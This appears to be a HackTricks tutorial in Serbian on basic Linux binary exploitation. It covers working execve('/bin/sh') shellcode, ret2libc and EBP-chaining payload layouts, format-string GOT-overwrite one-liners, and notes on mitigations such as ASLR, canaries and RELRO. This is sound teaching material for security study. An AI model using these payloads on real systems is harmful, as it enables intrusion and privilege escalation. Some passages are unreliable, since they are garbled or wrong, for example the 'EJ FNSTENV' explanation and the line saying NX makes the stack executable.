.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Osnovno) (SRB)
Linux Exploiting (Osnovno) (SRB)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu Pogledajte SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
ASLR
Aleatorizacija adresa
Isključivanje globalne aleatorizacije (ASLR) (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Ponovno uključivanje globalne aleatorizacije: echo 2 > /proc/sys/kernel/randomize_va_space
Isključivanje za jedno izvršavanje (ne zahteva root):
setarch `arch` -R ./primer argumenti
setarch `uname -m` -R ./primer argumenti
Isključivanje zaštitne izvršne zaštite na steku
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack primer.c -o primer
Core fajl
ulimit -c unlimited
gdb /exec core_fajl
/etc/security/limits.conf -> * soft core unlimited
Tekst
Podaci
BSS
Heap
Stek
BSS sekcija: Globalne ili statičke neinicijalizovane promenljive
static int i;
Odeljak DATA: Globalne ili statičke inicijalizovane promenljive
int i = 5;
Odeljak TEXT: Uputstva za kod (opkodovi)
Odeljak HEAP: Dinamički rezervisani baferi (malloc(), calloc(), realloc())
Odeljak STACK: Stog (prosleđeni argumenti, okruženje niske (env), lokalne promenljive...)
1. STACK PREKORAČENJA
prekoračenje bafera, prekoračenje stoga, prekoračenje steka, uništavanje steka
Segmentacija greške ili segmentacija kršenja: Kada se pokuša pristupiti memorijskoj adresi koja nije dodeljena procesu.
Da biste dobili adresu funkcije unutar programa, možete koristiti:
objdump -d ./PROGRAMA | grep FUNCION
ROP
Poziv na sys_execve
{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}
2.SHELLCODE
Pregledajte prekide kernela: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; čistimo eax
xor ebx, ebx ; ebx = 0 jer nema argumenata za prosleđivanje
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Izvršavanje syscall-a
nasm -f elf assembly.asm —> Vraća .o datoteku
ld assembly.o -o shellcodeout —> Daje izvršnu datoteku sastavljenu od asemblerskog koda i možemo izvući opkodove pomoću objdump
objdump -d -Mintel ./shellcodeout —> Da bismo videli da je to zaista naša shellcode i izvukli opkode
Proverite da li shellcode radi
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Da biste videli da li sistemski pozivi pravilno funkcionišu, trebate da kompajlirate prethodni program i sistemski pozivi trebaju biti prikazani u strace ./PROGRAMA_COMPILADO
Prilikom kreiranja shellcode-a može se koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodaje EIP na stek. Nakon instrukcije poziva, ubacili smo string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda.
PRIMER TRICK (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Korišćenje Stack-a (/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
EJ FNSTENV (Execute Jump Far Not Save Environment) je tehnika koja se koristi za iskorišćavanje ranjivosti u Linux operativnom sistemu. Ova tehnika se koristi za preuzimanje kontrole nad ciljanim sistemom.
Kada se koristi EJ FNSTENV tehnika, napadač može da iskoristi ranjivost u ciljanom sistemu kako bi izvršio zlonamerni kod. Ova tehnika se često koristi za eskalaciju privilegija, omogućavajući napadaču da dobije superkorisničke privilegije na ciljanom sistemu.
Da bi se izvršila EJ FNSTENV tehnika, napadač mora da pronađe ranjivost u ciljanom sistemu koja omogućava izvršavanje koda. Nakon toga, napadač može da iskoristi tu ranjivost kako bi preuzeo kontrolu nad sistemom.
Važno je napomenuti da je EJ FNSTENV tehnika ilegalna i da se koristi samo u okviru etičkog hakovanja ili pentestiranja sistema uz dozvolu vlasnika sistema. Upotreba ove tehnike bez dozvole može imati ozbiljne pravne posledice.
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
Ovo je mali kod koji pretražuje stranice memorije povezane sa procesom u potrazi za shellcode-om koji je tamo spremljen (traži neki potpis koji je postavljen u shellcode-u). Korisno u slučajevima kada imate samo malo prostora za ubrizgavanje koda.
Polimorfni shellkodovi
To su šifrirani shellkodovi koji imaju mali kod koji ih dešifruje i skoči na njega, koristeći trik Call-Pop. Evo jednog primjera šifriranog Cezarovog šifriranja:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
- Napad na Frame Pointer (EBP)
Koristan u situaciji kada možemo izmeniti EBP, ali ne i EIP.
Poznato je da se prilikom izlaska iz funkcije izvršava sledeći asemblerski kod:
movl %ebp, %esp
popl %ebp
ret
Na ovaj način, može se promeniti EBP prilikom izlaska iz funkcije (fvuln) koja je pozvana iz druge funkcije, tako da kada funkcija koja je pozvala fvuln završi, njen EIP može biti promenjen.
U fvuln se može uneti lažni EBP koji pokazuje na mesto gde se nalazi adresa shellcode + 4 (treba dodati 4 zbog pop). Na taj način, prilikom izlaska iz funkcije, vrednost &(&Shellcode)+4 će biti smeštena u ESP, sa pop će se oduzeti 4 od ESP i on će pokazivati na adresu shellcode kada se izvrši ret.
Exploit:
&Shellcode + "AAAA" + SHELLCODE + padding + &(&Shellcode)+4
Off-by-One Exploit
Dozvoljava se samo promena najmanje značajnog bajta EBP-a. Može se izvesti napad kao i prethodni, ali memorija koja čuva adresu shellcode-a mora deliti prva 3 bajta sa EBP-om.
4. Metode povratka na Libc
Koristan metod kada stek nije izvršiv ili ostavlja vrlo malo prostora za modifikaciju.
ASLR uzrokuje da se funkcije učitavaju na različite pozicije u memoriji pri svakom izvršavanju. Stoga ovaj metod može biti neefikasan u tom slučaju. Za udaljene servere, budući da se program stalno izvršava na istoj adresi, ovaj metod može biti koristan.
- cdecl (C deklaracija) Stavlja argumente na stek i nakon izlaska iz funkcije čisti stek
- stdcall (standardni poziv) Stavlja argumente na stek i funkcija koja je pozvana čisti stek
- fastcall Stavlja prva dva argumenta u registre, a ostale na stek
Postavlja se adresa system instrukcije iz libc-a i prosleđuje se kao argument string "/bin/sh", obično iz okoline. Takođe se koristi adresa exit funkcije kako bi se program bez problema završio kada više nije potrebna shell (i zapisivanje logova).
export SHELL=/bin/sh
Da biste pronašli potrebne adrese, možete pogledati unutar GDB-a:
p system
p exit
rabin2 -i izvršna_datoteka —> Daje adresu svih funkcija koje program koristi pri učitavanju
(Unutar starta ili nekog prekida): x/500s $esp —> Tražimo unutar ovoga string /bin/sh
Kada imamo ove adrese, exploit bi izgledao ovako:
"A" * DISTANCA EBP + 4 (EBP: mogu biti 4 "A" ali bolje je ako je pravi EBP da se izbegnu segmentacijske greške) + Adresa system (prepisuje EIP) + Adresa exit (nakon izvršavanja system("/bin/sh") ova funkcija će se pozvati jer su prva 4 bajta na steku tretirana kao sledeća adresa EIP-a koja će se izvršiti) + Adresa "/bin/sh" (biće prosleđen parametar system-u)
Na ovaj način će se EIP prepisati adresom system koja će primiti string "/bin/sh" kao argument, a nakon izlaska iz toga izvršiće se funkcija exit().
Moguće je da se nađete u situaciji da je neki bajt neke adrese neaktivan ili prazan (\x20). U tom slučaju možete dezasemblirati prethodne adrese do te funkcije jer će verovatno biti nekoliko NOP-ova koji će nam omogućiti da pozovemo neki od njih umesto same funkcije (na primer sa > x/8i system-4).
Ovaj metod funkcioniše jer kada se funkcija kao što je system poziva koristeći opcode ret umesto call, funkcija shvata da će prva 4 bajta biti adresa EIP na koju će se vratiti.
Interesantna tehnika sa ovim metod je pozivanje strncpy() da bi se prebacio payload sa steka na hip i zatim koristio gets() da se izvrši taj payload.
Još jedna interesantna tehnika je korišćenje mprotect() koja omogućava dodeljivanje željenih dozvola bilo kojem delu memorije. Radi ili je radila na BDS-u, MacOS-u i OpenBSD-u, ali ne i na Linuxu (kontroliše da ne može biti dodeljeno istovremeno pisanje i izvršavanje). Pomoću ovog napada moglo bi se ponovo konfigurisati izvršavanje steka.
Povezivanje funkcija
Na osnovu prethodne tehnike, ovaj oblik exploit-a sastoji se od:
Padding + &Funkcija1 + &pop;ret; + &arg_fun1 + &Funkcija2 + &pop;ret; + &arg_fun2 + ...
Na ovaj način mogu se povezati funkcije koje će biti pozvane. Takođe, ako želite koristiti funkcije sa više argumenata, možete postaviti potrebne argumente (npr. 4) i postaviti 4 argumenta i pronaći adresu sa opcodima: pop, pop, pop, pop, ret —> objdump -d izvršna_datoteka
Povezivanje putem lažnih okvira (povezivanje EBPa)
Ovo se sastoji od iskorišćavanja mogućnosti manipulacije EBP-om kako bi se povezalo izvršavanje više funkcija putem EBP-a i "leave;ret"
PADDING
- Postavljamo lažni EBP u EBP koji pokazuje na: 2. lažni EBP + funkcija za izvršavanje: (&system() + &leave;ret + &"/bin/sh")
- U EIP postavljamo adresu funkcije &(leave;ret)
Pokrećemo shellcode sa adresom sledećeg dela shellcode-a, na primer: 2. lažni EBP + &system() + &(leave;ret;) + &"/bin/sh"
- lažni EBP bi bio: 3. lažni EBP + &system() + &(leave;ret;) + &"/bin/ls"
Ovaj shellcode se može ponavljati beskonačno puta na delovima memorije do kojih se ima pristup, tako da se dobija shellcode koji se lako deli na male delove memorije.
(Izvršavanje funkcija se povezuje mešanjem ranije viđenih ranjivosti EBP-a i ret2lib)
5. Dodatne metode
Ret2Ret
Koristan kada nije moguće staviti adresu sa steka u EIP (proverava se da EIP ne sadrži 0xbf) ili kada nije moguće izračunati lokaciju shellcode-a. Ali, ranjiva funkcija prihvata jedan parametar (shellcode će biti ovde).
Na ovaj način, menjanjem EIP-a sa adresom ret, učitaće se sledeća adresa (koja je adresa prvog argumenta funkcije). Drugim rečima, učitaće se shellcode.
Exploit bi izgledao ovako: SHELLCODE + Padding (do EIP-a) + &ret (sledeći bajtovi na steku pokazuju na početak shellcode-a jer se na stek stavlja adresa prosleđenog parametra)
Izgleda da funkcije poput strncpy nakon završetka brišu sa steka adresu na kojoj je čuvan shellcode, što onemogućava ovu tehniku. Drugim rečima, adresa koju funkcija prosleđuje kao argument (ona koja čuva shellcode) se menja u 0x00, pa kada se pozove drugi ret, naiđe se na 0x00 i program se prekida.
**Ret2PopRet**
Ako nemamo kontrolu nad prvom argumentu, ali imamo nad drugim ili trećim, možemo prepisati EIP sa adresom pop-ret ili pop-pop-ret, u zavisnosti od potrebe.
Muratova tehnika
Na Linuxu, svi programi se mapiraju počevši od 0xbfffffff.
Gledajući kako se konstruiše stek novog procesa na Linuxu, može se razviti exploit tako da program bude pokrenut u okruženju koje ima samo jednu promenljivu - shellcode. Adresa ove promenljive se može izračunati kao: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
Na ovaj način se lako dobija adresa gde se nalazi promenljiva okruženja sa shellcode-om.
Ovo je moguće zahvaljujući funkciji execle koja omogućava kreiranje okruženja koje ima samo željene promenljive okruženja.
Skok na ESP: Windows stil
Budući da ESP uvek pokazuje na početak steka, ova tehnika se sastoji od zamene EIP sa adresom poziva na jmp esp ili call esp. Na ovaj način, shellcode se čuva nakon prepisivanja EIP jer će se nakon izvršavanja ret ESP nalaziti na sledećoj adresi, tačno gde je shellcode sačuvan.
U slučaju da ASLR nije aktiviran na Windowsu ili Linuxu, može se pozvati jmp esp ili call esp koji su smešteni u nekom deljenom objektu. Ako je ASLR aktiviran, može se potražiti unutar samog ranjivog programa.
Takođe, činjenica da se shellcode može postaviti nakon korupcije EIP-a umesto u sredini steka omogućava da push ili pop instrukcije koje se izvršavaju u sredini funkcije ne dodiruju shellcode (što bi se moglo dogoditi ako bi se postavio u sredinu steka funkcije).
Na vrlo sličan način, ako znamo da funkcija vraća adresu gde je shellcode sačuvan, može se pozvati call eax ili jmp eax (ret2eax).
ROP (Return Oriented Programming) ili pozajmljeni delovi koda
Delovi koda koji se pozivaju nazivaju se gadgets.
Ova tehnika se sastoji od povezivanja različitih poziva funkcija putem tehnike ret2libc i korišćenja pop,ret.
Na nekim arhitekturama procesora, svaka instrukcija je skup od 32 bita (npr. MIPS). Međutim, na Intelu su instrukcije promenljive veličine i više instrukcija može deliti skup bitova, na primer:
movl $0xe4ff, -0x(%ebp) —> Sadrži bajtove 0xffe4 koji se takođe prevode kao: jmp *%esp
Na ovaj način se mogu izvršiti neke instrukcije koje čak nisu ni u originalnom programu.
ROPgadget.py nam pomaže da pronađemo vrednosti u binarnim fajlovima.
Ovaj program takođe služi za kreiranje payload-a. Možete mu dati biblioteku iz koje želite izvući ROP-ove i on će generisati payload u Pythonu, gde mu samo dajete adresu na kojoj se ta biblioteka nalazi i payload je spreman za upotrebu kao shellcode. Osim toga, pošto koristi sistemski pozive, ne izvršava ništa stvarno na steku, već samo čuva adrese ROP-ova koje će se izvršiti putem ret instrukcije. Da biste koristili ovaj payload, morate pozvati payload putem ret instrukcije.
Prekoračenje celobrojnih vrednosti
Ova vrsta prekoračenja se javlja kada promenljiva nije spremna da podrži tako veliki broj koji joj se prosleđuje, možda zbog zabune između promenljivih sa i bez znaka, na primer:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
U prethodnom primeru vidimo da program očekuje 2 parametra. Prvi je dužina sledećeg niza, a drugi je niz.
Ako prosledimo negativan broj kao prvi parametar, dobićemo da je len < 256 i proći ćemo taj filter, a takođe će strlen(buffer) biti manji od l, jer je l unsigned int i biće veoma velik.
Ova vrsta prekoračenja ne pokušava da nešto napiše u procesu programa, već da prevaziđe loše dizajnirane filtere kako bi iskoristila druge ranjivosti.
Nepočetne promenljive
Nije poznata vrednost koju može imati nepočetna promenljiva i može biti interesantno posmatrati je. Može se desiti da uzme vrednost koju je uzela promenljiva iz prethodne funkcije i da je kontrolira napadač.
Formatiranje stringova
U C-u, printf
je funkcija koja se može koristiti za ispisivanje nekog stringa. Prvi parametar koji ova funkcija očekuje je sirovi tekst sa formatiranjem. Sledeći parametri koji se očekuju su vrednosti koje će zameniti formatere iz sirovog teksta.
Ranjivost se javlja kada napadačev tekst bude postavljen kao prvi argument ovoj funkciji. Napadač će moći da kreira poseban unos zloupotrebom mogućnosti formatiranja printf-a kako bi upisao bilo koje podatke na bilo koju adresu. Na taj način će biti u mogućnosti da izvrši proizvoljni kod.
Formati:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
%n
upisuje broj upisanih bajtova na naznačenoj adresi. Upisivanje toliko bajtova koliko je heksadecimalni broj koji želimo da upišemo je način da upišemo bilo koje podatke.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
GOT (Globalna tabela ofseta) / PLT (Tabela vezivanja postupaka)
Ovo je tabela koja sadrži adresu spoljnih funkcija koje koristi program.
Dobijte adresu ove tabele sa: objdump -s -j .got ./exec
Primetite kako nakon učitavanja izvršnog fajla u GEF-u možete videti funkcije koje se nalaze u GOT-u: gef➤ x/20x 0xDIR_GOT
Koristeći GEF, možete pokrenuti sesiju debugovanja i izvršiti got
da biste videli got tabelu:
U binarnom fajlu GOT ima adrese funkcija ili odeljak PLT koji će učitati adresu funkcije. Cilj ovog napada je zamena unosa u GOT-u funkcije koja će biti izvršena kasnije sa adresom PLT-a system
funkcije. Idealno, zamena će se desiti u GOT-u funkcije koja će biti pozvana sa parametrima koje kontrolišete (tako da ćete moći da kontrolišete parametre poslate funkciji system).
Ako system
nije korišćen u skripti, funkcija system neće imati unos u GOT-u. U ovom scenariju, prvo ćete morati da otkrijete adresu funkcije system
.
Tabela vezivanja postupaka je samo za čitanje tabela u ELF fajlu koja čuva sve neophodne simbole koji zahtevaju razrešenje. Kada se pozove jedna od ovih funkcija, GOT će preusmeriti tok na PLT kako bi mogao da razreši adresu funkcije i upiše je u GOT.
Zatim, sledeći put kada se pozove ta adresa, funkcija se poziva direktno bez potrebe za razrešenjem.
Možete videti adrese PLT-a sa objdump -j .plt -d ./vuln_binary
Tok napada
Kao što je objašnjeno ranije, cilj će biti zamena adrese funkcije u GOT tabeli koja će biti pozvana kasnije. Idealno bi bilo postaviti adresu na shell kod koji se nalazi u izvršnom odeljku, ali je vrlo verovatno da nećete moći da napišete shell kod u izvršnom odeljku.
Zato je druga opcija da zamenite funkciju koja prima svoje argumente od korisnika i usmerite je na system
funkciju.
Da biste napisali adresu, obično se koriste 2 koraka: Prvo pišete 2 bajta adrese, a zatim druga 2. Za to se koristi $hn
.
HOB se odnosi na 2 viša bajta adrese
LOB se odnosi na 2 niža bajta adrese
Dakle, zbog toga kako format string radi, prvo morate napisati manji od [HOB, LOB] i zatim drugi.
Ako je HOB < LOB
[adresa+2][adresa]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Ako je HOB > LOB
[adresa+2][adresa]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`
Šablon za napad format stringom
Možete pronaći šablon za napad na GOT korišćenjem format stringova ovde:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
.fini_array
Essentially this is a structure with functions that will be called before the program finishes. This is interesting if you can call your shellcode just jumping to an address, or in cases where you need to go back to main again to exploit the format string a second time.
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
Napomena da ovo neće stvoriti beskonačnu petlju jer kada se vratite na glavnu funkciju, kanarinci će primetiti da je kraj steka možda oštećen i funkcija se neće ponovo pozivati. Dakle, sa ovim ćete moći da izvršite još jedan napad na ranjivost.
Formatiranje stringova za ispis sadržaja
Formatiranje stringova takođe se može zloupotrebiti za ispisivanje sadržaja iz memorije programa.
Na primer, u sledećoj situaciji postoji lokalna promenljiva na steku koja pokazuje na zastavicu. Ako pronađete gde se u memoriji nalazi pokazivač na zastavicu, možete naterati printf da pristupi toj adresi i ispise zastavicu:
Dakle, zastavica je na 0xffffcf4c
Iz curenja možete videti da je pokazivač na zastavicu u osmom parametru:
Dakle, pristupanjem osmom parametru možete dobiti zastavicu:
Napomena da nakon prethodnog napada i shvatanja da možete procureti sadržaj, možete postaviti pokazivače na printf
na sekciju gde je učitana izvršna datoteka i potpuno je iscuriti!
DTOR
{% hint style="danger" %} Danas je vrlo čudno pronaći binarnu datoteku sa sekcijom dtor. {% endhint %}
Destruktori su funkcije koje se izvršavaju pre završetka programa.
Ako uspete da upišete adresu šel koda u __DTOR_END__
, to će se izvršiti pre nego što program završi.
Dobijte adresu ove sekcije sa:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
Obično ćete pronaći DTOR sekciju između vrednosti ffffffff
i 00000000
. Dakle, ako vidite samo te vrednosti, to znači da nema registrovane funkcije. Dakle, prepišite 00000000
sa adresom do shell koda kako biste ga izvršili.
Formatiranje stringova za preplavljivanje bafera
sprintf funkcija kopira formatirani string u promenljivu. Stoga, možete iskoristiti formatiranje stringa da izazovete preplavljivanje bafera u promenljivoj gde se kopira sadržaj. Na primer, payload %.44xAAAA
će upisati 44B+"AAAA" u promenljivu, što može izazvati preplavljivanje bafera.
__atexit strukture
{% hint style="danger" %} Danas je vrlo neobično iskoristiti ovo. {% endhint %}
atexit()
je funkcija kojoj se drugačije funkcije prosleđuju kao parametri. Ove funkcije će biti izvršene prilikom izvršavanja exit()
ili povratka iz main funkcije.
Ako možete izmeniti adresu bilo koje od ovih funkcija da pokazuje na shell kod na primer, dobićete kontrolu nad procesom, ali to je trenutno komplikovanije.
Trenutno su adrese funkcija koje treba izvršiti sakrivene iza nekoliko struktura i na kraju adresa na koju pokazuju nije adresa funkcija, već su šifrovane sa XOR i pomerene sa slučajnim ključem. Tako da je trenutno ovaj vektor napada nije vrlo koristan, barem na x86 i x64_86.
Funkcija za šifrovanje je PTR_MANGLE
. Druge arhitekture kao što su m68k, mips32, mips64, aarch64, arm, hppa... ne implementiraju funkciju za šifrovanje jer vraćaju isto što su primile kao ulaz. Dakle, ove arhitekture bi bile podložne ovom vektoru napada.
setjmp() & longjmp()
{% hint style="danger" %} Danas je vrlo neobično iskoristiti ovo. {% endhint %}
Setjmp()
omogućava da se sačuva kontekst (registri)
longjmp()
omogućava da se obnovi kontekst.
Sačuvani registri su: EBX, ESI, EDI, ESP, EIP, EBP
Ono što se dešava je da se EIP i ESP prosleđuju kroz funkciju PTR_MANGLE
, tako da su arhitekture koje su podložne ovom napadu iste kao i prethodno navedene.
Koriste se za oporavak od grešaka ili prekida.
Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, pa ako postoji call ebx
, call esi
ili call edi
unutar funkcije koja se poziva, može se preuzeti kontrola. Ili takođe možete izmeniti EBP da biste izmenili ESP.
VTable i VPTR u C++
Svaka klasa ima Vtable koji je niz pokazivača na metode.
Svaki objekat klase ima VPtr koji je pokazivač na niz svoje klase. VPtr je deo zaglavlja svakog objekta, pa ako se postigne prepisivanje VPtr-a, može se izmeniti da pokazuje na lažnu metodu, tako da izvršavanje funkcije ide na shell kod.
Preventivne mere i izbegavanje
ASLR nije tako slučajan
PaX deli prostor adresa procesa u 3 grupe:
Kod i inicijalizovani i neinicijalizovani podaci: .text, .data i .bss —> 16 bita entropije u promenljivoj delta_exec, ova promenljiva se inicijalizuje nasumično sa svakim procesom i dodaje se na početne adrese
Memorija dodeljena pomoću mmap() i deljenih biblioteka —> 16 bita, delta_mmap
Stek —> 24 bita, delta_stack —> Zaista 11 (od 10. do 20. bajta uključujući) —> poravnato na 16 bajta —> 524.288 mogućih stvarnih adresa steka
Okruženjske promenljive i argumenti se pomeraju manje od bafera na steku.
Return-into-printf
To je tehnika koja pretvara preplavljivanje bafera u grešku formatiranja stringa. Sastoji se od zamene EIP-a tako da pokazuje na printf funkciju i prosleđivanja manipulisanog formatiranog stringa kao argumenta kako bi se dobile vrednosti o stanju procesa.
Napad na biblioteke
Biblioteke se nalaze na poziciji sa 16 bita nasumičnosti = 65636 mogućih adresa. Ako ranjiv server pozove fork(), prostor adresa memorije se kopira u proces dete i ostaje netaknut. Zato se može pokušati izvršiti brute force napad na usleep() funkciju iz libc, prosleđujući joj argument "16", tako da kada duže vreme traje da odgovori, ta funkcija je pronađena. Znajući gde se ta funkcija nalazi, može se dobiti delta_mmap i izračunati ostale vrednosti.
Jedini način da budemo sigurni da ASLR funkcioniše je korišćenje 64-bitne arhitekture. Tamo nema brute force napada.
StackGuard i StackShield
StackGuard ubacuje pre EIP-a —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> I dalje su ranjive recv(), memcpy(), read(), bcoy() i ne štiti EBP
StackShield je složeniji od StackGuard-a
Sve povratne adrese EIP se čuvaju u tabeli (Global Return Stack) tako da preplavljivanje bafera ne prouzrokuje nikakvu štetu. Takođe, obe adrese se mogu uporediti da se vidi da li je došlo do preplavljivanja.
Takođe se može proveriti povratna adresa sa graničnom vrednošću, pa ako EIP ode na drugo mesto, kao što je prostor podataka, znaće se. Ali to se može zaobići sa Ret-to-lib, ROP ili ret2ret.
Kao što se može videti, stackshield takođe ne štiti lokalne promenljive.
Stack Smash Protector (ProPolice) -fstack-protector
Canary se stavlja pre EBP-a. Lokalne promenljive se reorganizuju tako da baferi budu na najvišim pozicijama i tako ne mogu prebrisati druge promenljive.
Takođe, vrši se sigurna kopija prosleđenih argumenata iznad steka (iznad lokalnih promenljivih) i koristi se ova kopija kao argumenti.
Ne može zaštititi nizove sa manje od 8 elemenata ili baufere koji su deo korisničke strukture.
Canary je slučajan broj izvučen iz "/dev/urandom" ili ako nije, onda je 0xff0a0000. Čuva se u TLS (Thread Local Storage). Niti dele isti prostor memorije, TLS je oblast koja ima globalne ili statičke promenljive za svaku nit. Međutim, u principu se kopiraju iz roditeljskog procesa, iako bi proces dete mogao da izmeni ove
Relro
Relro (Read only Relocation) utiče na dozvole memorije slično kao NX. Razlika je u tome što dok NX čini stek izvršivim, RELRO čini određene stvari samo za čitanje, tako da im ne možemo pisati. Najčešći način na koji sam video da ovo predstavlja prepreku je sprečavanje prepisivanja got
tabele, o čemu će biti rečeno kasnije. Got
tabela sadrži adrese libc funkcija tako da binarni zna koje su adrese i može ih pozvati. Hajde da vidimo kako izgledaju dozvole memorije za unos u got
tabelu za binarnu datoteku sa i bez relro.
Sa relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
